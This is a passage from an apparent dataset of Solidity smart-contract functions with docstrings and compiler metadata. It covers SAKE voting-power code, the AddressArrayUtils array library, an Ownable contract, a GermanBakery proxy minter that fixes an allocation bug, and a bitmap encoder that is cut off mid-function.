enable) { sqrtEnable = enable; } } function setPow( uint256 lPow, uint256 bPow, uint256 sPow ) public onlyOwner { //no need to check pow ?= 0 if (lPow != lpPow) { lpPow = lPow; } if (bPow != balancePow) { balancePow = bPow; } if (sPow != stakePow) { stakePow = sPow; } } }
balanceOf
function balanceOf(address _voter) external view returns (uint256) { uint256 _votes = 0; uint256 _vCtSakeNum = 0; uint256 _vBarSakeNum = 0; address _vLpTokenAddr; for ( uint256 i = voteLpPoolMap.iterateStart(); voteLpPoolMap.iterateValid(i); i = voteLpPoolMap.iterateNext(i) ) { (, _vLpTokenAddr) = voteLpPoolMap.iterateGet(i); _vCtSakeNum = _vCtSakeNum.add(_getUserLpSakes(_voter, _vLpTokenAddr)); } _vBarSakeNum = bar.balanceOf(_voter).mul(sake.balanceOf(address(bar))).div(bar.totalSupply()); _votes = _vCtSakeNum.mul(lpPow) + sake.balanceOf(_voter).mul(balancePow) + _vBarSakeNum.mul(stakePow); if (sqrtEnable == true) { return sqrt(_votes); } return _votes; }
//sum user deposit sakenum
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 4707, 5571 ] }
3,667
TimeLockRegistry
contracts/lib/AddressArrayUtils.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
AddressArrayUtils
library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } }
/** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */
NatSpecMultiLine
indexOf
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); }
/** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 276, 579 ] }
3,668
TimeLockRegistry
contracts/lib/AddressArrayUtils.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
AddressArrayUtils
library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } }
/** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */
NatSpecMultiLine
contains
function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; }
/** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 830, 979 ] }
3,669
TimeLockRegistry
contracts/lib/AddressArrayUtils.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
AddressArrayUtils
library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } }
/** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */
NatSpecMultiLine
hasDuplicate
function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; }
/** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 1184, 1594 ] }
3,670
TimeLockRegistry
contracts/lib/AddressArrayUtils.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
AddressArrayUtils
library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } }
/** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */
NatSpecMultiLine
remove
function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } }
/** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 1750, 2070 ] }
3,671
TimeLockRegistry
contracts/lib/AddressArrayUtils.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
AddressArrayUtils
library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } }
/** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */
NatSpecMultiLine
pop
function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); }
/** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 2271, 2783 ] }
3,672
TimeLockRegistry
contracts/lib/AddressArrayUtils.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
AddressArrayUtils
library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns (bool) { require(A.length > 0, 'A is empty'); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert('Address not in array.'); } else { (address[] memory _A, ) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, 'Index must be < A length'); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } }
/** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */
NatSpecMultiLine
extend
function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; }
/** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 2954, 3435 ] }
3,673
GermanBakery
/contracts/GermanBakery.sol
0x5721be2b7b1403daaea264daa26c29c51398bc2f
Solidity
GermanBakery
contract GermanBakery is Ownable, ERC721Holder, ReentrancyGuard { Brotchain public brotchain; constructor(address _brotchain) { brotchain = Brotchain(_brotchain); } /** * @dev Remaining allocation for addresses. */ mapping(address => int256) public allocRemaining; /** * @dev Received by changeAllocation() in lieu of a mapping. */ struct AllocationDelta { address addr; int80 value; } /** * @dev Changes the remaining allocation for the specified addresses. */ function changeAllocations(AllocationDelta[] memory deltas) external onlyOwner { for (uint256 i = 0; i < deltas.length; i++) { allocRemaining[deltas[i].addr] += deltas[i].value; } } /** * @dev Calls Brotchain.safeMint() and transfers the token to the sender. * * This correctly implements early-access limiting by decrementing the * sender's allocation instead of comparing the balance to the allocation as * the Brotchain contract does. This was vulnerable to tokens be transferred * before minting again. */ function safeMint() external payable nonReentrant { // CHECKS require(allocRemaining[msg.sender] > 0, "Address allocation exhausted"); // EFFECTS allocRemaining[msg.sender]--; brotchain.safeMint{value: msg.value}(); // INTERACTIONS // As the token is immediately transferred, it will always be index 0. address self = address(this); uint256 tokenId = brotchain.tokenOfOwnerByIndex(self, 0); brotchain.safeTransferFrom(self, msg.sender, tokenId); } }
/** * @dev German bakeries make brot. * * After deployment we discoverd a bug in the Brotchain early-access allocator * that exposed a loophole if someone transferred their Brot after minting, thus * allowing for unlimited mints. This contract is the fix and acts as a proxy * minter with correct allocation limiting. The entire Brotchain supply is thus * allocated to this contract. */
NatSpecMultiLine
changeAllocations
function changeAllocations(AllocationDelta[] memory deltas) external onlyOwner { for (uint256 i = 0; i < deltas.length; i++) { allocRemaining[deltas[i].addr] += deltas[i].value; } }
/** * @dev Changes the remaining allocation for the specified addresses. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 560, 777 ] }
3,674
GermanBakery
/contracts/GermanBakery.sol
0x5721be2b7b1403daaea264daa26c29c51398bc2f
Solidity
GermanBakery
contract GermanBakery is Ownable, ERC721Holder, ReentrancyGuard { Brotchain public brotchain; constructor(address _brotchain) { brotchain = Brotchain(_brotchain); } /** * @dev Remaining allocation for addresses. */ mapping(address => int256) public allocRemaining; /** * @dev Received by changeAllocation() in lieu of a mapping. */ struct AllocationDelta { address addr; int80 value; } /** * @dev Changes the remaining allocation for the specified addresses. */ function changeAllocations(AllocationDelta[] memory deltas) external onlyOwner { for (uint256 i = 0; i < deltas.length; i++) { allocRemaining[deltas[i].addr] += deltas[i].value; } } /** * @dev Calls Brotchain.safeMint() and transfers the token to the sender. * * This correctly implements early-access limiting by decrementing the * sender's allocation instead of comparing the balance to the allocation as * the Brotchain contract does. This was vulnerable to tokens be transferred * before minting again. */ function safeMint() external payable nonReentrant { // CHECKS require(allocRemaining[msg.sender] > 0, "Address allocation exhausted"); // EFFECTS allocRemaining[msg.sender]--; brotchain.safeMint{value: msg.value}(); // INTERACTIONS // As the token is immediately transferred, it will always be index 0. address self = address(this); uint256 tokenId = brotchain.tokenOfOwnerByIndex(self, 0); brotchain.safeTransferFrom(self, msg.sender, tokenId); } }
/** * @dev German bakeries make brot. * * After deployment we discoverd a bug in the Brotchain early-access allocator * that exposed a loophole if someone transferred their Brot after minting, thus * allowing for unlimited mints. This contract is the fix and acts as a proxy * minter with correct allocation limiting. The entire Brotchain supply is thus * allocated to this contract. */
NatSpecMultiLine
safeMint
function safeMint() external payable nonReentrant { // CHECKS require(allocRemaining[msg.sender] > 0, "Address allocation exhausted"); // EFFECTS allocRemaining[msg.sender]--; brotchain.safeMint{value: msg.value}(); // INTERACTIONS // As the token is immediately transferred, it will always be index 0. address self = address(this); uint256 tokenId = brotchain.tokenOfOwnerByIndex(self, 0); brotchain.safeTransferFrom(self, msg.sender, tokenId); }
/** * @dev Calls Brotchain.safeMint() and transfers the token to the sender. * * This correctly implements early-access limiting by decrementing the * sender's allocation instead of comparing the balance to the allocation as * the Brotchain contract does. This was vulnerable to tokens be transferred * before minting again. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 1146, 1683 ] }
3,675
MultiSend
MultiSend.sol
0xb76a20d5d42c041593df95d7d72b74b2543824f9
Solidity
Ownable
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); }
/** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://137bf962082d8be697f92afd65582eaa64bdc2a74417dd537adfd766b6e8f074
{ "func_code_index": [ 815, 932 ] }
3,676
MultiSend
MultiSend.sol
0xb76a20d5d42c041593df95d7d72b74b2543824f9
Solidity
Ownable
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://137bf962082d8be697f92afd65582eaa64bdc2a74417dd537adfd766b6e8f074
{ "func_code_index": [ 1097, 1205 ] }
3,677
MultiSend
MultiSend.sol
0xb76a20d5d42c041593df95d7d72b74b2543824f9
Solidity
Ownable
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; }
/** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://137bf962082d8be697f92afd65582eaa64bdc2a74417dd537adfd766b6e8f074
{ "func_code_index": [ 1343, 1521 ] }
3,678
GermanBakery
/contracts/BMP.sol
0x5721be2b7b1403daaea264daa26c29c51398bc2f
Solidity
BMP
contract BMP { using Base64 for string; /** * @dev Returns an 8-bit grayscale palette for bitmap images. */ function grayscale() public pure returns (bytes memory) { bytes memory palette = new bytes(768); // TODO: investigate a way around using ++ += or + on a bytes1 without // having to use a placeholder int8 for incrementing! uint8 j; bytes1 b; for (uint16 i = 0; i < 768; i += 3) { b = bytes1(j); palette[i ] = b; palette[i+1] = b; palette[i+2] = b; // The last increment would revert if checked. unchecked { j++; } } return palette; } /** * @dev Returns an 8-bit BMP encoding of the pixels. * * Spec: https://www.digicamsoft.com/bmp/bmp.html * * Layout description with offsets: * http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm * * N.B. Everything is little-endian, hence the assembly for masking and * shifting. */ function bmp(bytes memory pixels, uint32 width, uint32 height, bytes memory palette) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); require(palette.length == 768, "256 colours required"); // 14 bytes for BITMAPFILEHEADER + 40 for BITMAPINFOHEADER + 1024 for palette bytes memory buf = new bytes(1078); // BITMAPFILEHEADER buf[0] = 0x42; buf[1] = 0x4d; // bfType = BM uint32 size = 1078 + uint32(pixels.length); // bfSize; bytes in the entire buffer uint32 b; for (uint i = 2; i < 6; i++) { assembly { b := and(size, 0xff) size := shr(8, size) } buf[i] = bytes1(uint8(b)); } // Next 4 bytes are bfReserved1 & 2; both = 0 = initial value // bfOffBits; bytes from beginning of file to pixels = 14 + 40 + 1024 // (see size above) buf[0x0a] = 0x36; buf[0x0b] = 0x04; // BITMAPINFOHEADER // biSize; bytes in this struct = 40 buf[0x0e] = 0x28; // biWidth / biHeight for (uint i = 0x12; i < 0x16; i++) { assembly { b := and(width, 0xff) width := shr(8, width) } buf[i] = bytes1(uint8(b)); } for (uint i = 0x16; i < 0x1a; i++) { assembly { b := and(height, 0xff) height := shr(8, height) } buf[i] = bytes1(uint8(b)); } // biPlanes buf[0x1a] = 0x01; // biBitCount buf[0x1c] = 0x08; // I've decided to use raw pixels instead of run-length encoding for // compression as these aren't being stored. It's therefore simpler to // avoid the extra computation. Therefore biSize can be 0. Similarly // there's no point checking exactly which colours are used, so // biClrUsed and biClrImportant can be 0 to indicate all colours. This // is therefore the end of BITMAPINFOHEADER. Simples. uint j = 54; for (uint i = 0; i < 768; i += 3) { // RGBQUAD is in reverse order and the 4th byte is unused. buf[j ] = palette[i+2]; buf[j+1] = palette[i+1]; buf[j+2] = palette[i ]; j += 4; } return abi.encodePacked(buf, pixels); } /** * @dev Returns the buffer, presumably from bmp(), as a base64 data URI. */ function bmpDataURI(bytes memory bmpBuf) public pure returns (string memory) { return string(abi.encodePacked( 'data:image/bmp;base64,', Base64.encode(bmpBuf) )); } /** * @dev Scale pixels by repetition along both axes. */ function scalePixels(bytes memory pixels, uint32 width, uint32 height, uint32 scale) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); bytes memory scaled = new bytes(pixels.length * scale * scale); // Indices in each of the original and scaled buffers, respectively. The // scaled-buffer index is always incremented. The original index is // incremented only after scaling x-wise by scale times, then reversed // at the end of the width to allow for y-wise scaling. uint32 origIdx; uint32 scaleIdx; for (uint32 y = 0; y < height; y++) { for (uint32 yScale = 0; yScale < scale; yScale++) { for 